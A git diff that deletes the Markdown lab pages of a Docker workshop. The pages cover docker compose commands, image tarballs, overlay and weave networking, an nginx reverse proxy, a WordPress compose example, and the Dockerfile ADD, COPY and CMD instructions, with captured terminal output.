a/content/en/docker/a39.docker-compose-ps.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Docker Compose CLI - ps Command " -description: " List containers " -slug: "Docker-Compose-CLI-ps-Command" ---- - -#### List containers - -```sh - docker compose ps -NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS -example-voting-app-db-1 postgres:15-alpine "docker-entrypoint.s…" db 4 hours ago Up About an hour (healthy) 5432/tcp -example-voting-app-redis-1 redis:alpine "docker-entrypoint.s…" redis 4 hours ago Up About an hour (healthy) 6379/tcp -example-voting-app-result-1 example-voting-app-result "nodemon server.js" result About an hour ago Up About an hour 0.0.0.0:5858->5858/tcp, 0.0.0.0:5001->80/tcp -example-voting-app-worker-1 example-voting-app-worker "dotnet Worker.dll" worker About an hour ago Up About an hour -➜ example-voting-app git:(main) - -```` diff --git a/content/en/docker/a4.tarfile.md b/content/en/docker/a4.tarfile.md deleted file mode 100644 index f3784bb..0000000 --- a/content/en/docker/a4.tarfile.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: "Images and Container As Tar file" -slug: Images-and-Container-As-Tar-file ---- - -#### Images and Container as Tarfile - -Docker provides the ability to save images and containers as tar files, which can be useful for sharing with others or transferring between systems. Here's how to do it: - - -```sh -docker pull nginx:latest -latest: Pulling from library/nginx -5731adb3a4ab: Pull complete -8785c8f663d3: Pull complete -023b6bd393e4: Pull complete -fd8f86b165b0: Pull complete -8f41e7c12976: Pull complete -3b5338ea7d08: Pull complete -Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 -Status: Downloaded newer image for nginx:latest -docker.io/library/nginx:latest - -``` - -#### Saving an Image as a Tar File - -To save a Docker image as a tar file, use the docker save command with the image name and output file name: - -```sh -dockerworkshop git:(main) ✗ docker container run -it ubuntu:14.04 bash -Unable to find image 'ubuntu:14.04' locally -14.04: Pulling from library/ubuntu -d1a5a1e51f25: Pull complete -75f8eea31a63: Pull complete -a72d031efbfb: Pull complete -Digest: sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30 -Status: Downloaded newer image for ubuntu:14.04 -root@906d9f72e9fe:/# exit -exit - -``` - -```sh -➜ dockerworkshop git:(main) ✗ docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -1bf183201392 ubuntu:14.04 "bash" 15 seconds ago Up 14 seconds loving_ride -``` - -```sh -docker export 1b > os.tar -docker export loving_ride > os1.tar -dockerworkshop git:(main) ✗ ls -os.tar os1.tar -``` - - -docker load is a command used to load images or container archives that were previously saved using the docker save command. - -When you use the docker save command, it creates a tar archive of one or more Docker images and/or containers. You can then use the docker load command to load this tar archive back into Docker. - -The syntax for using the docker load command is as follows: - -```sh -➜ dockerworkshop git:(main) ✗ docker save -o os.tar ubuntu -➜ dockerworkshop git:(main) ✗ docker load < os.tar -Loaded image: ubuntu:14.04 -``` diff --git a/content/en/docker/a40.docker-compose-pull.md b/content/en/docker/a40.docker-compose-pull.md deleted file mode 100644 index 940e6d1..0000000 --- a/content/en/docker/a40.docker-compose-pull.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Docker Compose CLI - pull Command " -description: " Pull service images " -slug: "Docker-Compose-CLI-pull-Command" ---- - -#### Pull service images - - -```sh - example-voting-app git:(main) docker compose pull -[+] Running 5/5 - ⠿ vote Skipped - No image to be pulled 0.0s - ⠿ result Skipped - No image to be pulled 0.0s - ⠿ worker Skipped - No image to be pulled 0.0s - ⠿ redis Pulled 2.8s - ⠿ db Pulled 2.8s - -``` \ No newline at end of file diff --git a/content/en/docker/a41.docker-compose-push.md b/content/en/docker/a41.docker-compose-push.md deleted file mode 100644 index 34cc537..0000000 --- a/content/en/docker/a41.docker-compose-push.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "Docker Compose CLI - push Command " -description: " Push service images " -slug: "Docker-Compose-CLI-push-Command" ---- - -#### Push service images - - -```sh - -services: - service1: - build: . - image: localhost:5000/yourimage ## goes to local registry - - service2: - build: . - image: your-dockerid/yourimage ## goes to your repository on Docker Hub - -``` - diff --git a/content/en/docker/a42.docker-compose-restart.md b/content/en/docker/a42.docker-compose-restart.md deleted file mode 100644 index 8067444..0000000 --- a/content/en/docker/a42.docker-compose-restart.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "Docker Compose CLI - restart Command " -description: " restart service images " -slug: "Docker-Compose-CLI-restart-Command" ---- - -#### restart service images - -```sh -docker compose restart -[+] Running 5/5 - ⠿ Container example-voting-app-db-1 Started 0.7s - ⠿ Container example-voting-app-redis-1 Started 0.7s - ⠿ Container example-voting-app-result-1 Started 0.6s - ⠿ Container example-voting-app-vote-1 Started 0.5s - ⠿ Container example-voting-app-worker-1 Started 0.4s -➜ example-voting-app git:(main) -``` - - diff --git a/content/en/docker/a43.docker-compose-rm.md b/content/en/docker/a43.docker-compose-rm.md deleted file mode 100644 index 299bd0e..0000000 --- a/content/en/docker/a43.docker-compose-rm.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Docker Compose CLI - rm Command " -description: " Removes stopped service containers" -slug: "Docker-Compose-CLI-rm-Command" ---- - - -#### Removes stopped service containers - - -```sh -➜ example-voting-app git:(main) docker compose stop -[+] Running 5/5 - ⠿ Container example-voting-app-vote-1 Stopped 0.3s - ⠿ Container example-voting-app-result-1 Stopped 0.3s - ⠿ Container example-voting-app-worker-1 Stopped 0.1s - ⠿ Container example-voting-app-db-1 Stopped 0.1s - ⠿ Container example-voting-app-redis-1 Stopped 0.2s -➜ example-voting-app git:(main) docker compose rm -? Going to remove example-voting-app-vote-1, example-voting-app-result-1, example-voting-app-worker-1, example-voting-app-db-1, example-voting-app-redis-1 Yes -[+] Running 5/0 - ⠿ Container example-voting-app-redis-1 Removed 0.0s - ⠿ Container example-voting-app-vote-1 Removed 0.0s - ⠿ Container example-voting-app-result-1 Removed 0.0s - ⠿ Container example-voting-app-db-1 Removed 0.0s - ⠿ Container example-voting-app-worker-1 Removed 0.0s -➜ example-voting-app git:(main) - - - -``` diff --git a/content/en/docker/a44.docker-compose-run.md b/content/en/docker/a44.docker-compose-run.md deleted file mode 100644 index 7540555..0000000 --- a/content/en/docker/a44.docker-compose-run.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: "Docker Compose CLI - run Command " -description: " run service containers" -slug: "Docker-Compose-CLI-run-Command" ---- - - -```sh - -➜ example-voting-app git:(main) docker compose run db - -PostgreSQL Database directory appears to contain a database; Skipping initialization - -2023-03-04 19:16:58.496 UTC [1] LOG: starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit -2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432 -2023-03-04 19:16:58.496 UTC [1] LOG: listening on IPv6 address "::", port 5432 -2023-03-04 19:16:58.498 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" -2023-03-04 19:16:58.503 UTC [24] LOG: database system was shut down at 2023-03-04 19:15:07 UTC -2023-03-04 19:16:58.510 UTC [1] LOG: database system is ready to accept connections -^C2023-03-04 19:17:11.082 UTC [1] LOG: received fast shutdown request -2023-03-04 19:17:11.088 UTC [1] LOG: aborting any active transactions -2023-03-04 19:17:11.108 UTC [1] LOG: background worker "logical replication launcher" (PID 27) exited with exit code 1 -2023-03-04 19:17:11.108 UTC [22] LOG: shutting down -2023-03-04 19:17:11.110 UTC [22] LOG: checkpoint starting: shutdown immediate -2023-03-04 19:17:11.117 UTC [22] LOG: checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.003 s, sync=0.001 s, total=0.009 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB -2023-03-04 19:17:11.127 UTC [1] LOG: database system is shut down -➜ example-voting-app git:(main) docker compose run worker -[+] Running 2/2 - ⠿ Container example-voting-app-db-1 Created 0.0s - ⠿ Container example-voting-app-redis-1 Created 0.0s -[+] Running 2/2 - ⠿ Container example-voting-app-db-1 Started 0.5s - ⠿ Container example-voting-app-redis-1 Started 0.5s -Connected to db -Found redis at 172.20.0.3 -Connecting to redis -^C% -➜ example-voting-app git:(main) - -``` \ No newline at end of file diff --git a/content/en/docker/a45.local-network.md b/content/en/docker/a45.local-network.md deleted file mode 100644 index 75d5e2a..0000000 --- a/content/en/docker/a45.local-network.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: "Setup local network " -description: " overlay network " -slug: "Setup-local-network" ---- - - -#### Docker network create command syntax - -```sh -docker network create --help -``` -#### view current networks - -```sh -docker network ls -clear -``` - -#### Create a new overlay network, with all default options - -```sh -docker network create -d overlay defaults-over -``` -### Create a new overlay network with specific IP settings - -```sh -docker network create -d overlay \ ---subnet=172.30.0.0/24 \ ---ip-range=172.30.0.0/28 \ ---gateway=172.30.0.254 \ -specifics-over -``` - -#### view current networks again - -```sh -docker network ls -``` -### Initial validation - -```sh -docker network inspect specifics-over --format '{{json .IPAM.Config}}' | jq -``` -clear - -### Create service tester1 -```sh -docker service create --detach --replicas 3 --name tester1 \ ---network specifics-over alpine tail -f /dev/null -``` - -#### Create service tester2 - -```sh -docker service create --detach --replicas 3 --name tester2 \ ---network specifics-over alpine tail -f /dev/null -``` - -### get the container names - -```sh -docker container ls -``` -#### From a container in the tester1 service ping the tester2 service by name - -```sh -docker container exec -it tester1.3. ping -c 3 tester2 -``` - diff --git a/content/en/docker/a46.remote-network.md b/content/en/docker/a46.remote-network.md deleted file mode 100644 index 6235dca..0000000 --- a/content/en/docker/a46.remote-network.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: "Setup Remote network " -description: " weave driver " -slug: "Setup-Remote-network" ---- - -#### Docker network managment command - -```sh -docker network --help -clear -``` - -### Starting on ubuntu-node01: Install and setup the weave driver - -```sh -sudo curl -L git.io/weave -o /usr/local/bin/weave -sudo chmod a+x /usr/local/bin/weave -export CHECKPOINT_DISABLE=1 -weave launch -eval $(weave env) -``` - -clear - -#### Now on ubuntu-node02: Install and setup the weave driver -```sh -sudo curl -L git.io/weave -o /usr/local/bin/weave -sudo chmod a+x /usr/local/bin/weave -export CHECKPOINT_DISABLE=1 -weave launch -eval $(weave env) -``` -clear - -#### Now, back on ubuntu-node01:Bring node02 in as a peer on node01's weave network -```sh -weave connect ubuntu-node02 -``` -#### Starting with ubuntu-node01:Run a container detached on node01 -```sh -docker container run -d --name app01 alpine tail -f /dev/null -``` -#### Now, launch a container on ubuntu-node02: Run a container detached on node02 -```sh -docker container run -d --name app02 alpine tail -f /dev/null -``` -#### Since we are on node02, we will check there first... -#### From inside the app02 container running on node02, -#### let's ping the app01 container running on node01 -```sh -docker container exec -it app02 ping -c 4 app01 -``` -#### Similarly, from inside the app01 container running on node01, -#### let's ping the app02 container running on node02 -```sh -docker container exec -it app01 ping -c 4 app02 -``` -clear diff --git a/content/en/docker/a47.Docker-Compose-Net.md b/content/en/docker/a47.Docker-Compose-Net.md deleted file mode 100644 index 5871a43..0000000 --- a/content/en/docker/a47.Docker-Compose-Net.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: "Newtorking in Docker Compose " -slug: "Newtorking in Docker Compose" ---- - -### creating and using networks in docker-compose.yml - -```yml -version: "3.7" -services: - app1: - image: httpd:latest - container_name: app1 - ports: - - 8080:80 - networks: - - app1_net -networks: - app1_net: - -``` - -### run docker compose up - -```sh -docker-compose up - -``` - -### Open browser - -```sh -http://localhost:8080 -``` - -Observe the output - -### On a second terminal -```sh -docker ps -``` -#### Observe the networking part! - -```sh -docker inspect app1 - -``` - -### Stops the docker-compose -```sh -docker-compose rm -``` - - diff --git a/content/en/docker/a48.Docker-compose-ngnix-net.md b/content/en/docker/a48.Docker-compose-ngnix-net.md deleted file mode 100644 index d00cf14..0000000 --- a/content/en/docker/a48.Docker-compose-ngnix-net.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: "Newtorking in Docker Compose with ngnix" -description: " Docker Compose Newtorking " -slug: "Newtorking-in-Docker-Compose-with-ngnix" ---- - - -create docker-compose.yml with following content : - -```yml -version: "3.7" - -services: - web: - image: nginx:alpine - volumes: - - ./nginx.conf:/etc/nginx/nginx.conf - ports: - - 8080:80 - networks: - - app1_net - - app2_net - - app1: - image: httpd:latest - networks: - - app1_net - - app2: - image: httpd:latest - networks: - - app2_net - -networks: - app1_net: - app2_net: - -``` - -#### the following nginx.conf configuration file in the same directory: - -```sh - -events {} -http { - server { - listen 80; - listen [::]:80; - - server_name example.com; - - location / { - proxy_pass http://app1:80/; - } - location /app2 { - proxy_pass http://app2:80/; - } - } -} - - - - -``` - -### run docker compose - -```sh - -docker compose up -``` - -### Go to http://localhost:8080 and observer the command line - - -• It will show you the nignx-container web_1 container (reverse_proxy) was requested
-• And forwarded the request to “app1” container
-• Reload a few times to make this more obvious
- -#### Go to http://localhost:8080/app2 and observe the command line -• It will show you again that nginx-container web_1 container (reverse_proxy) was requested
-• And now forwards to “app2” container
-• Reload a few times to make this more obvious
- diff --git a/content/en/docker/a49.Docker-Wordpress.md b/content/en/docker/a49.Docker-Wordpress.md deleted file mode 100644 index 39c9827..0000000 --- a/content/en/docker/a49.Docker-Wordpress.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: "Docker Wordpress Example " -slug: "Docker-Wordpress-Example" ---- - - -## create wordpress docker compose - - -```yml -wordpress: - image: wordpress - links: - - mariadb:mysql - environment: - - WORDPRESS_DB_PASSWORD=password - - WORDPRESS_DB_USER=root - ports: - - "public_ip:80:80" - volumes: - - ./html:/var/www/html -mariadb: - image: mariadb - environment: - - MYSQL_ROOT_PASSWORD=password - - MYSQL_DATABASE=wordpress - volumes: - - ./database:/var/lib/mysql - -``` - -### run docker compose - -```sh -docker compose up -``` - diff --git a/content/en/docker/a5.Push-DockerHub-Webapp.md b/content/en/docker/a5.Push-DockerHub-Webapp.md deleted file mode 100644 index 9de3071..0000000 --- a/content/en/docker/a5.Push-DockerHub-Webapp.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: "Push first Nginx Web app To DockerHub" -description: "nginx" -slug: "Push-first-Nginx-Web-app-To-DockerHub" ---- - - -#### Pull nginx image from dockerhub using - -```sh -dockerworkshop git:(main) ✗ docker pull nginx -Using default tag: latest -latest: Pulling from library/nginx -Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8 -Status: Image is up to date for nginx:latest -docker.io/library/nginx:latest -``` -#### Run Docker with ngnix - -```sh - dockerworkshop git:(main) ✗ docker run --name docker-nginx -p 80:80 -d nginx -63258aebdc2d8ea40a0099efb3e51f8b15db2fe2dc048da3901843b4782d19fb -``` -–name docker-nginx : Name given to the container that is run is docker-nginx-p 80:80 : the port we are exposing and mapping from local machine port number to that of container, in the format local_machine_port:container_port-d : Detached mode – Runs the container in background - -#### check all running docker containers - -```sh -➜ dockerworkshop git:(main) ✗ docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -63258aebdc2d nginx "/docker-entrypoint.…" 55 seconds ago Up 55 seconds 0.0.0.0:80->80/tcp docker-nginx -``` - -#### open localhost with specific port - -![](./images/ngnix.png) - -#### Include a static Web Application in the Docker with NGINX - -To include our static Web Application into the Docker Image with NGINX, we shall create a Dockerfile (including commands to build image) and an html file with name index.html (acting as our web application) in a directory named nginx-app. - -create dockerfile with following content : - -```dockerfile - -FROM nginx -COPY . /usr/share/nginx/html - -``` -### create index.html file with following content - -```html - - - - Docker NGINX Tutorial - - -

Join CloudNativeFolks Community

-

Learn to Dockerize with NGINX and your web application.

- Join Discord - NGINX Tutorial - - - -``` - -#### Build Dockerfile - -```sh -Dockerfile git:(main) ✗ docker build -t nginx-application -f dockerfile.ngnix . -[+] Building 0.1s (7/7) FINISHED - => [internal] load build definition from dockerfile.ngnix 0.0s - => => transferring dockerfile: 87B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/nginx:latest 0.0s - => [internal] load build context 0.0s - => => transferring context: 82B 0.0s - => [1/2] FROM docker.io/library/nginx 0.0s - => [2/2] COPY . /usr/share/nginx/html 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:54027a144afd33ddd1449b757581c7b554d5411c4b2bac291f5dfbccb85fda41 0.0s - => => naming to docker.io/library/nginx-application 0.0s -➜ Dockerfile git:(main) ✗ -``` - - -#### run updated ngnix webapp - -```sh -docker run --name docker-nginx-app -p 80:80 -d nginx-application - -``` - -#### List docker images - -```sh -Dockerfile git:(main) ✗ docker images -REPOSITORY TAG IMAGE ID CREATED SIZE -nginx-application latest e8742ef897ea 2 minutes ago 135MB -``` - -#### Tag Docker Images - -```sh -docker tag nginx-application sangam14/nginx-application - -``` - -#### Login into Your DockerHub Account - -```sh -docker login -docker push sangam14/nginx-application -Using default tag: latest -The push refers to repository [docker.io/sangam14/nginx-application] -4e9e8987d0ed: Pushed -7a99131e1da4: Mounted from library/nginx -c61a83b92ad9: Mounted from library/nginx -0d96feb871c8: Mounted from library/nginx -902b28ccafe7: Mounted from library/nginx -3063fc92629d: Mounted from library/nginx -a49c6ceb5b3a: Mounted from library/nginx -latest: digest: sha256:09f29db6e4179bd1019a48d2d50944989347fdf145193f4165353d5148a902c8 size: 1777 - -``` \ No newline at end of file diff --git a/content/en/docker/a6.Scratch-Image.md b/content/en/docker/a6.Scratch-Image.md deleted file mode 100644 index 61c8654..0000000 --- a/content/en/docker/a6.Scratch-Image.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: "Build a Base Image from Scratch" -slug: "Build-a-Base-Image-from-Scratch" ---- - - -#### write simple c program - -```c -#include - -int main() -{ -printf("dockerworkshop"); -} -``` - -#### Compile C program - -```sh -gcc -o hello hello.c - -✗ ./hello -dockerworkshop% - -``` - -#### create dockerfile with following content : - - -```dockerfile -FROM scratch -ADD hello / -CMD ["/hello"] -``` - -### Build Dockerfile without any base image - -```sh -Dockerfile git:(main) ✗ docker build -t sangam14/hello-scratch -f dockerfile.hello . -[+] Building 0.1s (5/5) FINISHED - => [internal] load build definition from dockerfile.hello 0.0s - => => transferring dockerfile: 87B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load build context 0.0s - => => transferring context: 33.47kB 0.0s - => [1/1] ADD hello / 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:769934a6858c0910a3682e966da6c8d9c15b0324307b092eb77258a9a08879ce 0.0s - => => naming to docker.io/sangam14/hello-scratch - - ``` - -#### run docker image - -```sh - docker run sangam14/hello-scratch - dockerworkshop - -``` - - - - - diff --git a/content/en/docker/a7.ADD-instruction.md b/content/en/docker/a7.ADD-instruction.md deleted file mode 100644 index f28eff3..0000000 --- a/content/en/docker/a7.ADD-instruction.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: "Dockerfile Lab - ADD instruction " -description: " Dockerfile Lab 1 " -slug: "Dockerfile-Lab-ADD-instruction" ---- - -Here's an example of a Dockerfile that uses the ADD instruction to copy a local file into a Docker image: - - -```Dockerfile -FROM ubuntu:latest - -WORKDIR /app - -ADD example.txt /app/ - -CMD ["cat", "/app/example.txt"] - -``` - -#### Build Dockerfile - - -```bash - - Dockerfile git:(main) ✗ docker build -t sangam14/add-dockerfile -f dockerfile.add . -[+] Building 5.2s (9/9) FINISHED - => [internal] load build definition from dockerfile.add 0.0s - => => transferring dockerfile: 131B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/ubuntu:latest 3.1s - => [auth] library/ubuntu:pull token for registry-1.docker.io 0.0s - => [1/3] FROM docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 2.0s - => => resolve docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 0.0s - => => sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 1.13kB / 1.13kB 0.0s - => => sha256:61bd0b97000996232eb07b8d0e9375d14197f78aa850c2506417ef995a7199a7 424B / 424B 0.0s - => => sha256:a6be1f66f70f66ef43503292e38ccbfc14f2d5464e7736344783a8fc7bb339a8 2.31kB / 2.31kB 0.0s - => => sha256:8b150fd943bcd54ef788cece17523d19031f745b099a798de65247900d102e18 27.34MB / 27.34MB 1.4s - => => extracting sha256:8b150fd943bcd54ef788cece17523d19031f745b099a798de65247900d102e18 0.4s - => [internal] load build context 0.0s - => => transferring context: 78B 0.0s - => [2/3] WORKDIR /app 0.1s - => [3/3] ADD example.txt /app/ 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:c3438bfac421fa098b47f37ae00427eadcfb7ed36653a678738c63b0ab33a8d1 0.0s - => => naming to docker.io/sangam14/add-dockerfile - - - ``` - - ### run docker images - -``` -Dockerfile git:(main) ✗ docker run sangam14/add-dockerfile -Sangam Biradar -Docker Community Leader - -``` \ No newline at end of file diff --git a/content/en/docker/a8.Copy-instruction.md b/content/en/docker/a8.Copy-instruction.md deleted file mode 100644 index cb92794..0000000 --- a/content/en/docker/a8.Copy-instruction.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: "Dockerfile Lab - COPY instruction" -description: " Dockerfile Lab 2 " -slug: "Dockerfile-Lab-COPY-instruction" ---- - -COPY is a dockerfile command that copies files from a local source location to a destination in the Docker container. A Dockerfile is a text file with instructions to set up a Docker container. - -create myfile1.txt and myfile2.txt with following content : - -```sh -# myfile1.txt -Hello This is my first file ! -This is file will be copied in /usr/share directory from Docker host to Docker Container. -``` - -```sh -# myfile2.txt -Hello This is my second file ! -This is file will be copied in /tmp directory from Docker host to Docker Container. - -``` -The general syntax of the COPY command is: - -```sh -COPY - -``` -Here, `` and ``are file paths.` ` is the path to the source folder containing files to be copied. This option can be left empty to copy the contents of the current directory. The source of the files has to be a directory on the local computer. - -`` is the destination of the COPY command inside the docker container. This is the path where files are to be copied. - -```Dockerfile -# Instruction for Dockerfile to create a new image on top of the base image (ubuntu) -# Using the base image ubuntu: latest -FROM ubuntu:latest -# Copying myfile1.txt to the containers /usr/share directory -COPY myfile1.txt /usr/share -# Copying myfile2.txt to the containers /tmp directory -COPY myfile2.txt /tmp - -``` -### Build Dockerfile using following Command - -```sh - Dockerfile git:(main) ✗ docker build -t sangam14/copy-dockerfile -f dockerfile.copy . -[+] Building 2.2s (9/9) FINISHED - => [internal] load build definition from dockerfile.copy 0.0s - => => transferring dockerfile: 356B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/ubuntu:latest 2.1s - => [auth] library/ubuntu:pull token for registry-1.docker.io 0.0s - => CACHED [1/3] FROM docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 0.0s - => [internal] load build context 0.0s - => => transferring context: 344B 0.0s - => [2/3] COPY myfile1.txt /usr/share 0.0s - => [3/3] COPY myfile2.txt /tmp 0.0s - => exporting to image 0.0s - => => exporting layers 0.0s - => => writing image sha256:4c660d66bd5f94311a22be23394032e2f2dd45f40fb4831f8e083efe90488763 0.0s - => => naming to docker.io/sangam14/copy-dockerfile - - ``` - - #### check inside container and search for text file - -```sh -➜ Dockerfile git:(main) ✗ docker run -it sangam14/copy-dockerfile bash -root@27a3fbe098c3:/# ls -bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var -root@27a3fbe098c3:/# cat /usr/share/myfile1.txt -# myfile1.txt -Hello This is my first file ! -This is file will be copied in /usr/share directory from Docker host to Docker Container.root@27a3fbe098c3:/# ls -bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var -root@27a3fbe098c3:/# cat /tmp/myfile2.txt - -# myfile2.txt -Hello This is my second file ! -This is file will be copied in /tmp directory from Docker host to Docker Container.root@27a3fbe098c3:/# - -``` -both file successfully copied inside container - - - - - diff --git a/content/en/docker/a9.CMD-instruction.md b/content/en/docker/a9.CMD-instruction.md deleted file mode 100644 index f793d7f..0000000 --- a/content/en/docker/a9.CMD-instruction.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: "Dockerfile Lab - CMD instruction " -slug: "Dockerfile-Lab-CMD-instruction" ---- - - -The CMD command we saw earlier followed the Shell syntax: - -```bash -CMD executable parameter1 parameter2 -``` - -However, it is better practice to use the JSON array format: - -```json -CMD ["executable", "parameter1", "parameter2"] -``` - -A CMD command can be overridden by providing the executable and its parameters in the docker ​run command. For example: - - -```dockerfile -FROM ubuntu -RUN apt-get update -CMD ["echo" , "Join CloudNativeFolks Community"] -``` -#### build dockerfile - -```sh - docker build -t sangam14/cmd-dockerfile -f dockerfile.cmd . -[+] Building 8.3s (7/7) FINISHED - => [internal] load build definition from dockerfile.cmd 0.0s - => => transferring dockerfile: 125B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/ubuntu:latest 2.1s - => [auth] library/ubuntu:pull token for registry-1.docker.io 0.0s - => CACHED [1/2] FROM docker.io/library/ubuntu@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 0.0s - => [2/2] RUN apt-get update 6.0s - => exporting to image 0.1s - => => exporting layers 0.1s - => => writing image sha256:c59a693968aab28243f6852d49be7299e0035e71e39b42f22c07be49cca74fb2 0.0s - => => naming to docker.io/sangam14/cmd-dockerfile - -``` - -#### run docker container - -```sh -Dockerfile git:(main) ✗ docker run sangam14/cmd-dockerfile -Join CloudNativeFolks Community - -``` - diff --git a/content/en/docker/helper.md b/content/en/docker/helper.md deleted file mode 100644 index 54b0767..0000000 --- a/content/en/docker/helper.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: The Ultimate Docker Workshop Tracks -description: Hands on Labs -weight: 1 ---- - -### Table of Content -| Title | Link | -| --------- | ------- | -|1.Pre-requisit for this lab | [Lab](https://kubedaily.com/docs/0.0.1/pre-requist/) | -|2.Docker Hello World Example | [Lab](https://kubedaily.com/docs/0.0.1/hello-world/) | -|3.Docker Image Filtering | | [Lab](https://kubedaily.com/docs/0.0.1/docker-images-filter/) | -|4.Images and Container As Tar file | [Lab](https://kubedaily.com/docs/0.0.1/tarfile/) | -|5.Push first Nginx Web app To DockerHub | [Lab](https://kubedaily.com/docs/0.0.1/push-dockerhub-webapp/) | -|6.Build a Base Image from Scratch | [Lab](https://kubedaily.com/docs/0.0.1/scratch-image/) | -|7.Dockerfile Lab - ADD instruction | [Lab](https://kubedaily.com/docs/0.0.1/add-instruction/) | -|8.Dockerfile Lab - COPY instruction | [Lab](https://kubedaily.com/docs/0.0.1/copy-instruction/) | -|9.Dockerfile Lab - CMD instruction | [Lab](https://kubedaily.com/docs/0.0.1/cmd-instruction/) | -|10.Dockerfile Lab - Entrypoint instruction | [Lab](https://kubedaily.com/docs/0.0.1/entrypoint-instruction/) | -|11.Dockerfile Lab - WORKDIR instruction | [Lab](https://kubedaily.com/docs/0.0.1/workdir-instruction/) | -|12.Dockerfile Lab - RUN instruction | [Lab](https://kubedaily.com/docs/0.0.1/run-instruction/) | -|13.Dockerfile Lab - ARG instruction | [Lab](https://kubedaily.com/docs/0.0.1/arg-instruction/) | -|14.Dockerfile Lab - Volume instruction | [Lab](https://kubedaily.com/docs/0.0.1/arg-instruction/) | -|15.Dockerfile Lab - USER instruction | [Lab](https://kubedaily.com/docs/0.0.1/user-instruction/) | -|16.Dockerfile Lab - HEALTHCHECK instruction | [Lab](https://kubedaily.com/docs/0.0.1/healthcheck-instruction/) | -|17.Dockerfile Lab - ENV instruction | [Lab](https://kubedaily.com/docs/0.0.1/env-instruction/) | -|18.Dockerfile Lab - ONBUILD instruction | [Lab](https://kubedaily.com/docs/0.0.1/onbuild-instruction/)| -|19.Running multiple docker containers from CLI | [Lab](https://kubedaily.com/docs/0.0.1/multiple-container/) | -|20.Write First Docker Compose file | [Lab](https://kubedaily.com/docs/0.0.1/write-first-docker_compose/) | -|21.Docker Compose with Volume Mount | [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-volumes/) | -|22.Build Own Dockerfile and Docker Compose with Custom configuration| [Lab](https://kubedaily.com/docs/0.0.1/custom-docker-compose/) | -|23.Simple php apache and database using docker compose| [Lab](https://kubedaily.com/docs/0.0.1/php-database-docker-compose/) | -|24.Host Volume Mount - Data persistentence| [Lab](https://kubedaily.com/docs/0.0.1/host-volume-mount/) | -|25.Named Volume Mount - Data persistentence| [Lab](https://kubedaily.com/docs/0.0.1/name-volume-mount/) | -|26.Docker Compose CLI - Build Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-build/) | -|27.Docker Compose CLI - Config Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-config/) | -|28.Docker Compose CLI - CP Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-cp/) | -|29.Docker Compose CLI - Create Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-create/) | -|30.Docker Compose CLI - Down Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-down/) | -|31.Docker Compose CLI - Events Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-events/) | -|32.Docker Compose CLI - Exec Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-exec/) | -|33.Docker Compose CLI - Images Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-images/) | -|34.Docker Compose CLI - Kill Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-kill/) | -|35.Docker Compose 